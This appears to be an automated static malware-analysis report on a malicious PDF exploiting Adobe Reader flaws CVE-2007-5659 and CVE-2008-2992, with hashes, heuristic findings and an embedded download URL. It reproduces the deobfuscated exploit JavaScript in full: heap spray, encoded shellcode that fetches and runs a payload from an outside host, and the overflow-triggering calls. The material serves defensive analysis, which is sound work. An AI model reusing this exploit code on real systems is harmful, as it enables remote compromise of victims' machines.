Malicious PDF — malware analysis report

Static analysis result for SHA-256 1aca0d9ae0b30a27…

MALICIOUS

PDF

3.6 KB Created: 2008-31-20 53:85:00 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2015-10-04
MD5: b2c6938e874cbc0523dcb583c700310d SHA-1: e005e456d592edcd9814090bf6eaa4f9f3a82674 SHA-256: 1aca0d9ae0b30a275603d2044ecd0db20100798dd8bff2112763e71f6fc0c794
378 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var A34l = eval(B34l);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://lxenia.ru/wp-image/load.php?stat=Windows Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x3D7 14011 bytes
SHA-256: 3328389c2185ae1862b7968b2cdf6f70310fe6db057e14105f229c1b93dfdb9d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var B34l = "1e234v567a89l0";
B34l = B34l.replace(/[\+1234567890]/g, "");
var A34l = eval(B34l);
var s = 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(c){return String.fromCharCode((((c = c.charCodeAt(0)) & 223) - 52) % 26 + (c & 32) + 65);}).split(".");
var B34l = "";
for (var i=0; i<s.length; i++){ B34l += String.fromCharCode(s[i]); }
function uSQXcfcd2(){
A34l(B34l);
}
numeric_charcode_stage_000.js deobfuscated-js numeric char-code string decoded JavaScript at offset 0x445 4260 bytes
SHA-256: f4481ca0b14254d49b6f193e48ba4ab22faeb3fa22184d39f4e0c2787ab831d2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function b1235bC34l(b1235bD34l, b1235bW34l){ while (b1235bD34l.length*2<b1235bW34l){b1235bD34l += b1235bD34l;} b1235bD34l = b1235bD34l.substring(0,b1235bW34l/2); return b1235bD34l; } function b1235bE34l(num, content){ var z = ""; for (var i = 0; i < num; i++){ z += content.toString(); } return z; } var b1235bF34l = app.viewerVersion.toString(); b1235bF34l = b1235bF34l.replace(/\D/g,""); var b1235bG34l = new Array(b1235bF34l.charAt(0),b1235bF34l.charAt(1),b1235bF34l.charAt(2)); if (b1235bG34l[0] == 8 && b1235bG34l[1] == 1 && b1235bG34l[2] == 2){ var b1235bK34l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6578%u696E%u2E61%u7572%u772F%u2D70%u6D69%u6761%u2F65%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2073%u5058%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u3620%u302E%u527C%u7C55%u3139%u372E%u2E37%u3332%u2E38%u3137"); var b1235bC34l = unescape("%u0A0A%u0A0A"); var b1235bD34l = 20; var b1235bH34l = b1235bD34l+b1235bK34l.length; while (b1235bC34l.length < b1235bH34l) b1235bC34l += b1235bC34l; var b1235bL34l = b1235bC34l.substring(0, b1235bH34l); var b1235bM34l = b1235bC34l.substring(0, b1235bC34l.length - b1235bH34l); while (b1235bM34l.length + b1235bH34l < 0x60000) b1235bM34l=b1235bM34l+b1235bM34l+b1235bL34l; var b1235bN34l = new Array(); for (b1235bO34l = 0; b1235bO34l < 1200; b1235bO34l++){ b1235bN34l[b1235bO34l] = b1235bM34l + b1235bK34l } var b1235bP34l = 12 + b1235bE34l(18, 9) + b1235bE34l(276, 8); var b1235bA3qIo = "12%34@5@0@0@0123f@"; b1235bA3qIo = b1235bA3qIo.replace(/[123@]/g, ""); util.printf(b1235bA3qIo,b1235bP34l); } else { var b1235bK34l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6578%u696E%u2E61%u7572%u772F%u2D70%u6D69%u6761%u2F65%u6F6C%u6461%u702E%u7068%u733F%u6174%u3D74%u6957%u646E%u776F%u2073%u5058%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u3620%u302E%u527C%u7C55%u3139%u372E%u2E37%u3332%u2E38%u3137"); var b1235bA93IwonQ = "@0@x@0@c@0@c@0@c@0@c@"; b1235bA93IwonQ = b1235bA93IwonQ.replace(/[@]/g, ""); var b1235bB93IwonQ = "@0@x@4@0@@0@@0@@0@0@"; b1235bB93IwonQ = b1235bB93IwonQ.replace(/[@]/g, ""); var b1235bQ34l = new Array(); var b1235bP34l = b1235bA93IwonQ; var b1235bM34l = b1235bB93IwonQ; var b1235bN34l = b1235bK34l.length * 2; var b1235bW34l = b1235bM34l - (b1235bN34l+0x38); var b1235bQ92SilN = "@%@u@9@0@9@0@%@u@9@0@9@0@"; b1235bQ92SilN = b1235bQ92SilN.replace(/[@]/g, ""); var b1235bD34l = unescape(b1235bQ92SilN); b1235bD34l = b1235bC34l(b1235bD34l, b1235bW34l); var b1235bL34l = (b1235bP34l - b1235bB93IwonQ)/b1235bM34l; for (var b1235bC93IwonQ=0;b1235bC93IwonQ<b1235bL34l;b1235bC93IwonQ++){ b1235bQ34l[b1235bC93IwonQ] = b1235bD34l + b1235bK34l; } var b1235bEio95EinA = "@%@u@0@c@0@c@%@u@0@c@0@c@"; b1235bEio95EinA = b1235bEio95EinA.replace(/[@]/g, ""); var b1235bO34l = unescape(b1235bEio95EinA); while(b1235bO34l.length < 44952) b1235bO34l += b1235bO34l; this.collabStore = Collab.collectEmailInfo({subj: "",msg: b1235bO34l}); }

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